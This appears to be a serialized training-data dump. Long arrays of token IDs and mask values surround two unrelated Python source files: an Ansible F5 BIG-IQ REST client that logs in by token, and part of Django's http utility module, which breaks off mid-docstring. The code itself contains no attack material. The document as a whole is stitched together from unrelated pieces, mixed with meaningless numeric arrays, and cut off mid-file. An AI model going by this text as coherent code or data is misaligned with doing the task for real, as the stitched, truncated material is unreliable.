3, 543, 314, 491, 3359, 689, 2032, 5241, 14, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 3, 2672, 1304, 26, 9801, 14, 647, 4114, 1257, 6900, 13, 1643, 13, 1216, 4329, 26, 1085, 26, 1641, 58, 560, 3362, 2672, 199, 199, 624, 199, 2847, 475, 1387, 2846, 4476, 26235, 919, 15351, 707, 7545, 282, 2120, 370, 506, 18416, 315, 593, 52, 2846, 12, 199, 15656, 314, 2256, 687, 314, 31632, 6249, 436, 16178, 652, 370, 593, 52, 2846, 315, 314, 3211, 1475, 14, 199, 624, 199, 199, 646, 2050, 199, 646, 2197, 199, 646, 900, 199, 199, 504, 560, 15315, 14, 27782, 14, 8171, 492, 11785, 12, 11785, 1726, 199, 504, 560, 15315, 14, 5329, 409, 492, 2725, 409, 199, 199, 504, 560, 15315, 14, 22601, 14, 1927, 10861, 14, 1927, 10861, 1364, 14, 4354, 492, 820, 689, 4222, 465, 820, 1554, 7184, 4222, 199, 504, 560, 15315, 14, 22601, 14, 1927, 10861, 14, 1927, 10861, 1364, 14, 888, 492, 6186, 63, 24753, 2339, 465, 820, 1554, 34, 63, 24753, 2339, 199, 504, 560, 15315, 14, 22601, 14, 1927, 10861, 14, 1927, 10861, 1364, 14, 888, 492, 6186, 63, 3279, 54, 948, 11536, 465, 820, 1554, 34, 63, 3279, 54, 948, 11536, 199, 199, 504, 560, 15315, 14, 22601, 14, 357, 697, 14, 357, 697, 4354, 492, 593, 52, 2846, 8171, 199, 504, 560, 15315, 14, 22601, 14, 357, 697, 14, 888, 492, 6186, 63, 1387, 2846, 63, 10486, 63, 24753, 2339, 12, 6186, 63, 1387, 2846, 63, 3279, 54, 948, 11536, 199, 504, 560, 15315, 14, 22601, 14, 1927, 10861, 14, 82, 11318, 357, 697, 1765, 22271, 496, 15351, 707, 14, 29346, 492, 31632, 475, 1387, 2846, 26059, 199, 199, 504, 560, 15315, 14, 31714, 14, 31714, 1131, 1364, 14, 31714, 1131, 4354, 492, 3930, 45, 3227, 8171, 199, 504, 560, 15315, 14, 31714, 14, 31714, 1131, 1364, 14, 888, 492, 6186, 63, 2679, 45, 11938, 63, 24753, 2339, 12, 6186, 63, 2679, 45, 11938, 63, 3279, 54, 948, 11536, 199, 199, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 533, 31632, 475, 1387, 2846, 919, 15351, 707, 837, 272, 347, 636, 826, 721, 277, 12, 326, 660, 697, 63, 5610, 354, 29, 19662, 34, 63, 24753, 2339, 12, 326, 660, 697, 63, 332, 433, 25869, 29, 19662, 34, 63, 3279, 54, 948, 11536, 12, 326, 660, 697, 63, 16620, 29, 403, 12, 326, 312, 84, 697, 63, 5610, 354, 29, 3472, 63, 1387, 2846, 63, 10486, 63, 24753, 2339, 12, 326, 312, 84, 697, 63, 332, 433, 25869, 29, 3472, 63, 1387, 2846, 63, 3279, 54, 948, 11536, 12, 326, 30202, 63, 5610, 354, 29, 3472, 63, 2679, 45, 11938, 63, 24753, 2339, 12, 326, 30202, 63, 332, 433, 25869, 29, 3472, 63, 2679, 45, 11938, 63, 3279, 54, 948, 11536, 12, 326, 312, 84, 697, 63, 16620, 29, 403, 12, 326, 30202, 63, 16620, 29, 403, 12, 326, 15416, 29, 403, 304, 267, 408, 267, 31632, 475, 1387, 2846, 919, 15351, 707, 7029, 6527, 315, 314, 593, 52, 2846, 2410, 314, 7337, 9595, 281, 365, 4224, 543, 3062, 14, 267, 520, 635, 660, 697, 63, 5610, 354, 26, 10414, 354, 641, 1314, 314, 660, 697, 2435, 1212, 1597, 561, 334, 885, 26, 560, 15315, 14, 345, 14, 1531, 9, 267, 520, 635, 660, 697, 63, 332, 433, 25869, 26, 8926, 433, 25869, 402, 314, 660, 697, 2435, 334, 885, 26, 820, 1554, 34, 3167, 9, 267, 520, 635, 660, 697, 63, 16620, 26, 1686, 1413, 3150, 15416, 1591, 334, 885, 26, 488, 12, 1314, 4910, 11667, 9, 267, 520, 635, 312, 84, 697, 63, 5610, 354, 26, 10414, 354, 641, 1314, 314, 593, 52, 2846, 2435, 1212, 1597, 561, 334, 885, 26, 560, 15315, 14, 357, 697, 14, 1531, 9, 267, 520, 635, 312, 84, 697, 63, 332, 433, 25869, 26, 8926, 433, 25869, 402, 314, 593, 52, 2846, 2435, 334, 885, 26, 593, 52, 2846, 3167, 9, 267, 520, 635, 312, 84, 697, 63, 16620, 26, 1686, 1413, 3150, 15416, 1591, 334, 885, 26, 488, 12, 1314, 4910, 11667, 9, 267, 520, 635, 15416, 26, 340, 2013, 12, 1806, 4423, 660, 697, 63, 16620, 436, 312, 84, 697, 63, 16620, 14, 4821, 1413, 3150, 15416, 1591, 334, 885, 26, 488, 12, 1314, 4910, 11667, 9, 267, 408, 267, 340, 15416, 26, 288, 660, 697, 63, 16620, 275, 15416, 288, 312, 84, 697, 63, 16620, 275, 15416, 288, 30202, 63, 16620, 221, 275, 15416, 398, 291, 14, 345, 697, 4354, 275, 820, 1554, 7184, 4222, 8, 5610, 354, 29, 345, 697, 63, 5610, 354, 12, 8926, 433, 25869, 29, 345, 697, 63, 332, 433, 25869, 12, 15416, 29, 345, 697, 63, 16620, 9, 925, 2360, 22536, 16836, 29, 549, 7508, 15282, 315, 11785, 4590, 2451, 3063, 267, 291, 14, 357, 697, 4354, 275, 593, 52, 2846, 8171, 8, 5610, 354, 29, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
tersmitten/ansible
lib/ansible/module_utils/network/f5/bigiq.py
59
5015
# -*- coding: utf-8 -*- # # Copyright (c) 2017 F5 Networks Inc. # GNU General Public License v3.0 (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type import os try: from library.module_utils.network.f5.common import F5BaseClient from library.module_utils.network.f5.common import F5ModuleError from library.module_utils.network.f5.common import is_ansible_debug from library.module_utils.network.f5.icontrol import iControlRestSession except ImportError: from ansible.module_utils.network.f5.common import F5BaseClient from ansible.module_utils.network.f5.common import F5ModuleError from ansible.module_utils.network.f5.common import is_ansible_debug from ansible.module_utils.network.f5.icontrol import iControlRestSession class F5RestClient(F5BaseClient): def __init__(self, *args, **kwargs): super(F5RestClient, self).__init__(*args, **kwargs) self.provider = self.merge_provider_params() self.headers = { 'Content-Type': 'application/json' } @property def api(self): if self._client: return self._client session, err = self.connect_via_token_auth() if err: raise F5ModuleError(err) self._client = session return session def connect_via_token_auth(self): provider = self.provider['auth_provider'] or 'local' url = "https://{0}:{1}/mgmt/shared/authn/login".format( self.provider['server'], self.provider['server_port'] ) payload = { 'username': self.provider['user'], 'password': self.provider['password'], } # - local is a special provider that is baked into the system and # has no loginReference if provider != 'local': login_ref = self.get_login_ref(provider) payload.update(login_ref) session = iControlRestSession( validate_certs=self.provider['validate_certs'] ) response = session.post( url, json=payload, headers=self.headers ) if response.status not in [200]: return None, response.content session.request.headers['X-F5-Auth-Token'] = response.json()['token']['token'] return session, None def get_login_ref(self, provider): info = self.read_provider_info_from_device() uuids = [os.path.basename(os.path.dirname(x['link'])) for x in info['providers'] if '-' in x['link']] if provider in uuids: name = self.get_name_of_provider_id(info, provider) if not name: raise F5ModuleError( "No name found for the provider '{0}'".format(provider) ) return dict( loginReference=dict( link="https://localhost/mgmt/cm/system/authn/providers/{0}/{1}/login".format(name, provider) ) ) names = [os.path.basename(os.path.dirname(x['link'])) for x in info['providers'] if '-' in x['link']] if names.count(provider) > 1: raise F5ModuleError( "Ambiguous auth_provider provided. Please specify a specific provider ID." ) uuid = self.get_id_of_provider_name(info, provider) if not uuid: raise F5ModuleError( "No name found for the provider '{0}'".format(provider) ) return dict( loginReference=dict( link="https://localhost/mgmt/cm/system/authn/providers/{0}/{1}/login".format(provider, uuid) ) ) def get_name_of_provider_id(self, info, provider): # Add slashes to the provider name so that it specifically finds the provider # as part of the URL and not a part of another substring provider = '/' + provider + '/' for x in info['providers']: if x['link'].find(provider) > -1: return x['name'] return None def get_id_of_provider_name(self, info, provider): for x in info['providers']: if x['name'] == provider: return os.path.basename(os.path.dirname(x['link'])) return None def read_provider_info_from_device(self): uri = "https://{0}:{1}/info/system".format( self.provider['server'], self.provider['server_port'] ) session = iControlRestSession() session.verify = self.provider['validate_certs'] resp = session.get(uri) try: response = resp.json() except ValueError as ex: raise F5ModuleError(str(ex)) if 'code' in response and response['code'] == 400: if 'message' in response: raise F5ModuleError(response['message']) else: raise F5ModuleError(resp.content) return response
gpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 1898, 334, 67, 9, 9708, 481, 21, 17138, 3277, 14, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 421, 199, 646, 747, 421, 199, 893, 26, 272, 687, 3555, 14, 578, 63, 1208, 14, 1200, 14, 70, 21, 14, 2330, 492, 481, 21, 1563, 3041, 272, 687, 3555, 14, 578, 63, 1208, 14, 1200, 14, 70, 21, 14, 2330, 492, 481, 21, 12232, 272, 687, 3555, 14, 578, 63, 1208, 14, 1200, 14, 70, 21, 14, 2330, 492, 365, 63, 4853, 63, 1757, 272, 687, 3555, 14, 578, 63, 1208, 14, 1200, 14, 70, 21, 14, 73, 2785, 492, 284, 3717, 13726, 4434, 199, 2590, 3545, 26, 272, 687, 3242, 14, 578, 63, 1208, 14, 1200, 14, 70, 21, 14, 2330, 492, 481, 21, 1563, 3041, 272, 687, 3242, 14, 578, 63, 1208, 14, 1200, 14, 70, 21, 14, 2330, 492, 481, 21, 12232, 272, 687, 3242, 14, 578, 63, 1208, 14, 1200, 14, 70, 21, 14, 2330, 492, 365, 63, 4853, 63, 1757, 272, 687, 3242, 14, 578, 63, 1208, 14, 1200, 14, 70, 21, 14, 73, 2785, 492, 284, 3717, 13726, 4434, 421, 199, 533, 481, 21, 13726, 3041, 8, 38, 21, 1563, 3041, 304, 272, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 38, 21, 13726, 3041, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 267, 291, 14, 3780, 275, 291, 14, 5628, 63, 3780, 63, 1162, 342, 267, 291, 14, 2139, 275, 469, 288, 283, 2714, 13, 804, 356, 283, 3578, 15, 1001, 7, 267, 789, 339, 768, 1829, 272, 347, 2986, 8, 277, 304, 267, 340, 291, 423, 1258, 26, 288, 372, 291, 423, 1258, 267, 2351, 12, 2329, 275, 291, 14, 2242, 63, 12897, 63, 1418, 63, 1178, 342, 267, 340, 2329, 26, 288, 746, 481, 21, 12232, 8, 1508, 9, 267, 291, 423, 1258, 275, 2351, 267, 372, 2351, 339, 347, 4907, 63, 12897, 63, 1418, 63, 1178, 8, 277, 304, 267, 5022, 275, 291, 14, 3780, 459, 1178, 63, 3780, 418, 503, 283, 1832, 7, 398, 1166, 275, 298, 2859, 20193, 16, 16495, 17, 5995, 9752, 15, 5555, 15, 1178, 78, 15, 2886, 1674, 908, 8, 288, 291, 14, 3780, 459, 1000, 995, 291, 14, 3780, 459, 1000, 63, 719, 418, 267, 776, 267, 4886, 275, 469, 288, 283, 2473, 356, 291, 14, 3780, 459, 751, 995, 288, 283, 2060, 356, 291, 14, 3780, 459, 2060, 995, 267, 789, 398, 327, 446, 2257, 365, 282, 4539, 5022, 626, 365, 330, 16702, 1901, 314, 2656, 436, 267, 327, 257, 965, 949, 4676, 5083, 267, 340, 5022, 1137, 283, 1832, 356, 288, 4676, 63, 1121, 275, 291, 14, 362, 63, 2886, 63, 1121, 8, 3780, 9, 288, 4886, 14, 873, 8, 2886, 63, 1121, 9, 398, 2351, 275, 284, 3717, 13726, 4434, 8, 288, 4107, 63, 8356, 29, 277, 14, 3780, 459, 3502, 63, 8356, 418, 267, 776, 398, 1177, 275, 2351, 14, 1932, 8, 288, 1166, 12, 288, 2022, 29, 4749, 12, 288, 2323, 29, 277, 14, 2139, 267, 776, 398, 340, 1177, 14, 1205, 440, 315, 359, 1840, 2189, 288, 372, 488, 12, 1177, 14, 1317, 398, 2351, 14, 1069, 14, 2139, 459, 56, 13, 38, 21, 13, 2817, 13, 3264, 418, 275, 1177, 14, 1001, 12047, 1418, 2545, 1418, 418, 267, 372, 2351, 12, 488, 339, 347, 664, 63, 2886, 63, 1121, 8, 277, 12, 5022, 304, 267, 2256, 275, 291, 14, 739, 63, 3780, 63, 815, 63, 504, 63, 1782, 342, 267, 26650, 275, 359, 736, 14, 515, 14, 4846, 8, 736, 14, 515, 14, 3475, 8, 88, 459, 1073, 5156, 367, 671, 315, 2256, 459, 9710, 418, 340, 10791, 315, 671, 459, 1073, 6538, 267, 340, 5022, 315, 26650, 26, 288, 536, 275, 291, 14, 362, 63, 354, 63, 1618, 63, 3780, 63, 344, 8, 815, 12, 5022, 9, 288, 340, 440, 536, 26, 355, 746, 481, 21, 12232, 8, 490, 298, 1944, 536, 1911, 367, 314, 5022, 5041, 16, 30366, 908, 8, 3780, 9, 355, 776, 288, 372, 1211, 8, 355, 4676, 5083, 29, 807, 8, 490, 2142, 628, 2859, 921, 5967, 15, 9752, 15, 4400, 15, 2253, 15, 1178, 78, 15, 9710, 5321, 16, 16152, 17, 5995, 2886, 1674, 908, 8, 354, 12, 5022, 9, 355, 776, 288, 776, 267, 1561, 275, 359, 736, 14, 515, 14, 4846, 8, 736, 14, 515, 14, 3475, 8, 88, 459, 1073, 5156, 367, 671, 315, 2256, 459, 9710, 418, 340, 10791, 315, 671, 459, 1073, 6538, 267, 340, 1561, 14, 835, 8, 3780, 9, 690, 413, 26, 288, 746, 481, 21, 12232, 8, 355, 298, 29209, 20357, 1790, 63, 3780, 2741, 14, 7754, 4165, 282, 2488, 5022, 2870, 2122, 288, 776, 267, 5377, 275, 291, 14, 362, 63, 344, 63, 1618, 63, 3780, 63, 354, 8, 815, 12, 5022, 9, 267, 340, 440, 5377, 26, 288, 746, 481, 21, 12232, 8, 355, 298, 1944, 536, 1911, 367, 314, 5022, 5041, 16, 30366, 908, 8, 3780, 9, 288, 776, 267, 372, 1211, 8, 288, 4676, 5083, 29, 807, 8, 355, 2142, 628, 2859, 921, 5967, 15, 9752, 15, 4400, 15, 2253, 15, 1178, 78, 15, 9710, 5321, 16, 16152, 17, 5995, 2886, 1674, 908, 8, 3780, 12, 5377, 9, 288, 776, 267, 776, 339, 347, 664, 63, 354, 63, 1618, 63, 3780, 63, 344, 8, 277, 12, 2256, 12, 5022, 304, 267, 327, 2654, 20275, 370, 314, 5022, 536, 880, 626, 652, 22543, 17651, 314, 5022, 267, 327, 465, 1777, 402, 314, 2851, 436, 440, 282, 1777, 402, 4573, 20597, 267, 5022, 275, 7324, 435, 5022, 435, 7324, 267, 367, 671, 315, 2256, 459, 9710, 2565, 288, 340, 671, 459, 1073, 2278, 1623, 8, 3780, 9, 690, 446, 17, 26, 355, 372, 671, 459, 354, 418, 267, 372, 488, 339, 347, 664, 63, 344, 63, 1618, 63, 3780 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 1898, 334, 67, 9, 9708, 481, 21, 17138, 3277, 14, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 421, 199, 646, 747, 421, 199, 893, 26, 272, 687, 3555, 14, 578, 63, 1208, 14, 1200, 14, 70, 21, 14, 2330, 492, 481, 21, 1563, 3041, 272, 687, 3555, 14, 578, 63, 1208, 14, 1200, 14, 70, 21, 14, 2330, 492, 481, 21, 12232, 272, 687, 3555, 14, 578, 63, 1208, 14, 1200, 14, 70, 21, 14, 2330, 492, 365, 63, 4853, 63, 1757, 272, 687, 3555, 14, 578, 63, 1208, 14, 1200, 14, 70, 21, 14, 73, 2785, 492, 284, 3717, 13726, 4434, 199, 2590, 3545, 26, 272, 687, 3242, 14, 578, 63, 1208, 14, 1200, 14, 70, 21, 14, 2330, 492, 481, 21, 1563, 3041, 272, 687, 3242, 14, 578, 63, 1208, 14, 1200, 14, 70, 21, 14, 2330, 492, 481, 21, 12232, 272, 687, 3242, 14, 578, 63, 1208, 14, 1200, 14, 70, 21, 14, 2330, 492, 365, 63, 4853, 63, 1757, 272, 687, 3242, 14, 578, 63, 1208, 14, 1200, 14, 70, 21, 14, 73, 2785, 492, 284, 3717, 13726, 4434, 421, 199, 533, 481, 21, 13726, 3041, 8, 38, 21, 1563, 3041, 304, 272, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 38, 21, 13726, 3041, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 267, 291, 14, 3780, 275, 291, 14, 5628, 63, 3780, 63, 1162, 342, 267, 291, 14, 2139, 275, 469, 288, 283, 2714, 13, 804, 356, 283, 3578, 15, 1001, 7, 267, 789, 339, 768, 1829, 272, 347, 2986, 8, 277, 304, 267, 340, 291, 423, 1258, 26, 288, 372, 291, 423, 1258, 267, 2351, 12, 2329, 275, 291, 14, 2242, 63, 12897, 63, 1418, 63, 1178, 342, 267, 340, 2329, 26, 288, 746, 481, 21, 12232, 8, 1508, 9, 267, 291, 423, 1258, 275, 2351, 267, 372, 2351, 339, 347, 4907, 63, 12897, 63, 1418, 63, 1178, 8, 277, 304, 267, 5022, 275, 291, 14, 3780, 459, 1178, 63, 3780, 418, 503, 283, 1832, 7, 398, 1166, 275, 298, 2859, 20193, 16, 16495, 17, 5995, 9752, 15, 5555, 15, 1178, 78, 15, 2886, 1674, 908, 8, 288, 291, 14, 3780, 459, 1000, 995, 291, 14, 3780, 459, 1000, 63, 719, 418, 267, 776, 267, 4886, 275, 469, 288, 283, 2473, 356, 291, 14, 3780, 459, 751, 995, 288, 283, 2060, 356, 291, 14, 3780, 459, 2060, 995, 267, 789, 398, 327, 446, 2257, 365, 282, 4539, 5022, 626, 365, 330, 16702, 1901, 314, 2656, 436, 267, 327, 257, 965, 949, 4676, 5083, 267, 340, 5022, 1137, 283, 1832, 356, 288, 4676, 63, 1121, 275, 291, 14, 362, 63, 2886, 63, 1121, 8, 3780, 9, 288, 4886, 14, 873, 8, 2886, 63, 1121, 9, 398, 2351, 275, 284, 3717, 13726, 4434, 8, 288, 4107, 63, 8356, 29, 277, 14, 3780, 459, 3502, 63, 8356, 418, 267, 776, 398, 1177, 275, 2351, 14, 1932, 8, 288, 1166, 12, 288, 2022, 29, 4749, 12, 288, 2323, 29, 277, 14, 2139, 267, 776, 398, 340, 1177, 14, 1205, 440, 315, 359, 1840, 2189, 288, 372, 488, 12, 1177, 14, 1317, 398, 2351, 14, 1069, 14, 2139, 459, 56, 13, 38, 21, 13, 2817, 13, 3264, 418, 275, 1177, 14, 1001, 12047, 1418, 2545, 1418, 418, 267, 372, 2351, 12, 488, 339, 347, 664, 63, 2886, 63, 1121, 8, 277, 12, 5022, 304, 267, 2256, 275, 291, 14, 739, 63, 3780, 63, 815, 63, 504, 63, 1782, 342, 267, 26650, 275, 359, 736, 14, 515, 14, 4846, 8, 736, 14, 515, 14, 3475, 8, 88, 459, 1073, 5156, 367, 671, 315, 2256, 459, 9710, 418, 340, 10791, 315, 671, 459, 1073, 6538, 267, 340, 5022, 315, 26650, 26, 288, 536, 275, 291, 14, 362, 63, 354, 63, 1618, 63, 3780, 63, 344, 8, 815, 12, 5022, 9, 288, 340, 440, 536, 26, 355, 746, 481, 21, 12232, 8, 490, 298, 1944, 536, 1911, 367, 314, 5022, 5041, 16, 30366, 908, 8, 3780, 9, 355, 776, 288, 372, 1211, 8, 355, 4676, 5083, 29, 807, 8, 490, 2142, 628, 2859, 921, 5967, 15, 9752, 15, 4400, 15, 2253, 15, 1178, 78, 15, 9710, 5321, 16, 16152, 17, 5995, 2886, 1674, 908, 8, 354, 12, 5022, 9, 355, 776, 288, 776, 267, 1561, 275, 359, 736, 14, 515, 14, 4846, 8, 736, 14, 515, 14, 3475, 8, 88, 459, 1073, 5156, 367, 671, 315, 2256, 459, 9710, 418, 340, 10791, 315, 671, 459, 1073, 6538, 267, 340, 1561, 14, 835, 8, 3780, 9, 690, 413, 26, 288, 746, 481, 21, 12232, 8, 355, 298, 29209, 20357, 1790, 63, 3780, 2741, 14, 7754, 4165, 282, 2488, 5022, 2870, 2122, 288, 776, 267, 5377, 275, 291, 14, 362, 63, 344, 63, 1618, 63, 3780, 63, 354, 8, 815, 12, 5022, 9, 267, 340, 440, 5377, 26, 288, 746, 481, 21, 12232, 8, 355, 298, 1944, 536, 1911, 367, 314, 5022, 5041, 16, 30366, 908, 8, 3780, 9, 288, 776, 267, 372, 1211, 8, 288, 4676, 5083, 29, 807, 8, 355, 2142, 628, 2859, 921, 5967, 15, 9752, 15, 4400, 15, 2253, 15, 1178, 78, 15, 9710, 5321, 16, 16152, 17, 5995, 2886, 1674, 908, 8, 3780, 12, 5377, 9, 288, 776, 267, 776, 339, 347, 664, 63, 354, 63, 1618, 63, 3780, 63, 344, 8, 277, 12, 2256, 12, 5022, 304, 267, 327, 2654, 20275, 370, 314, 5022, 536, 880, 626, 652, 22543, 17651, 314, 5022, 267, 327, 465, 1777, 402, 314, 2851, 436, 440, 282, 1777, 402, 4573, 20597, 267, 5022, 275, 7324, 435, 5022, 435, 7324, 267, 367, 671, 315, 2256, 459, 9710, 2565, 288, 340, 671, 459, 1073, 2278, 1623, 8, 3780, 9, 690, 446, 17, 26, 355, 372, 671, 459, 354, 418, 267, 372, 488, 339, 347, 664, 63, 344, 63, 1618, 63, 3780, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
thodoris/djangoPharma
djangoPharma/env/Lib/site-packages/django/utils/http.py
10
16315
from __future__ import unicode_literals import base64 import calendar import datetime import re import sys import unicodedata import warnings from binascii import Error as BinasciiError from email.utils import formatdate from django.core.exceptions import TooManyFieldsSent from django.utils import six from django.utils.datastructures import MultiValueDict from django.utils.deprecation import RemovedInDjango21Warning from django.utils.encoding import force_bytes, force_str, force_text from django.utils.functional import keep_lazy_text from django.utils.six.moves.urllib.parse import ( quote, quote_plus, unquote, unquote_plus, urlencode as original_urlencode, ) if six.PY2: from urlparse import ( ParseResult, SplitResult, _splitnetloc, _splitparams, scheme_chars, uses_params, ) _coerce_args = None else: from urllib.parse import ( ParseResult, SplitResult, _coerce_args, _splitnetloc, _splitparams, scheme_chars, uses_params, ) # based on RFC 7232, Appendix C ETAG_MATCH = re.compile(r''' \A( # start of string and capture group (?:W/)? # optional weak indicator " # opening quote [^"]* # any sequence of non-quote characters " # end quote )\Z # end of string and capture group ''', re.X) MONTHS = 'jan feb mar apr may jun jul aug sep oct nov dec'.split() __D = r'(?P<day>\d{2})' __D2 = r'(?P<day>[ \d]\d)' __M = r'(?P<mon>\w{3})' __Y = r'(?P<year>\d{4})' __Y2 = r'(?P<year>\d{2})' __T = r'(?P<hour>\d{2}):(?P<min>\d{2}):(?P<sec>\d{2})' RFC1123_DATE = re.compile(r'^\w{3}, %s %s %s %s GMT$' % (__D, __M, __Y, __T)) RFC850_DATE = re.compile(r'^\w{6,9}, %s-%s-%s %s GMT$' % (__D, __M, __Y2, __T)) ASCTIME_DATE = re.compile(r'^\w{3} %s %s %s %s$' % (__M, __D2, __T, __Y)) RFC3986_GENDELIMS = str(":/?#[]@") RFC3986_SUBDELIMS = str("!$&'()*+,;=") FIELDS_MATCH = re.compile('[&;]') @keep_lazy_text def urlquote(url, safe='/'): """ A version of Python's urllib.quote() function that can operate on unicode strings. The url is first UTF-8 encoded before quoting. The returned string can safely be used as part of an argument to a subsequent iri_to_uri() call without double-quoting occurring. """ return force_text(quote(force_str(url), force_str(safe))) @keep_lazy_text def urlquote_plus(url, safe=''): """ A version of Python's urllib.quote_plus() function that can operate on unicode strings. The url is first UTF-8 encoded before quoting. The returned string can safely be used as part of an argument to a subsequent iri_to_uri() call without double-quoting occurring. """ return force_text(quote_plus(force_str(url), force_str(safe))) @keep_lazy_text def urlunquote(quoted_url): """ A wrapper for Python's urllib.unquote() function that can operate on the result of django.utils.http.urlquote(). """ return force_text(unquote(force_str(quoted_url))) @keep_lazy_text def urlunquote_plus(quoted_url): """ A wrapper for Python's urllib.unquote_plus() function that can operate on the result of django.utils.http.urlquote_plus(). """ return force_text(unquote_plus(force_str(quoted_url))) def urlencode(query, doseq=0): """ A version of Python's urllib.urlencode() function that can operate on unicode strings. The parameters are first cast to UTF-8 encoded strings and then encoded as per normal. """ if isinstance(query, MultiValueDict): query = query.lists() elif hasattr(query, 'items'): query = query.items() return original_urlencode( [(force_str(k), [force_str(i) for i in v] if isinstance(v, (list, tuple)) else force_str(v)) for k, v in query], doseq) def cookie_date(epoch_seconds=None): """ Formats the time to ensure compatibility with Netscape's cookie standard. Accepts a floating point number expressed in seconds since the epoch, in UTC - such as that outputted by time.time(). If set to None, defaults to the current time. Outputs a string in the format 'Wdy, DD-Mon-YYYY HH:MM:SS GMT'. """ rfcdate = formatdate(epoch_seconds) return '%s-%s-%s GMT' % (rfcdate[:7], rfcdate[8:11], rfcdate[12:25]) def http_date(epoch_seconds=None): """ Formats the time to match the RFC1123 date format as specified by HTTP RFC7231 section 7.1.1.1. Accepts a floating point number expressed in seconds since the epoch, in UTC - such as that outputted by time.time(). If set to None, defaults to the current time. Outputs a string in 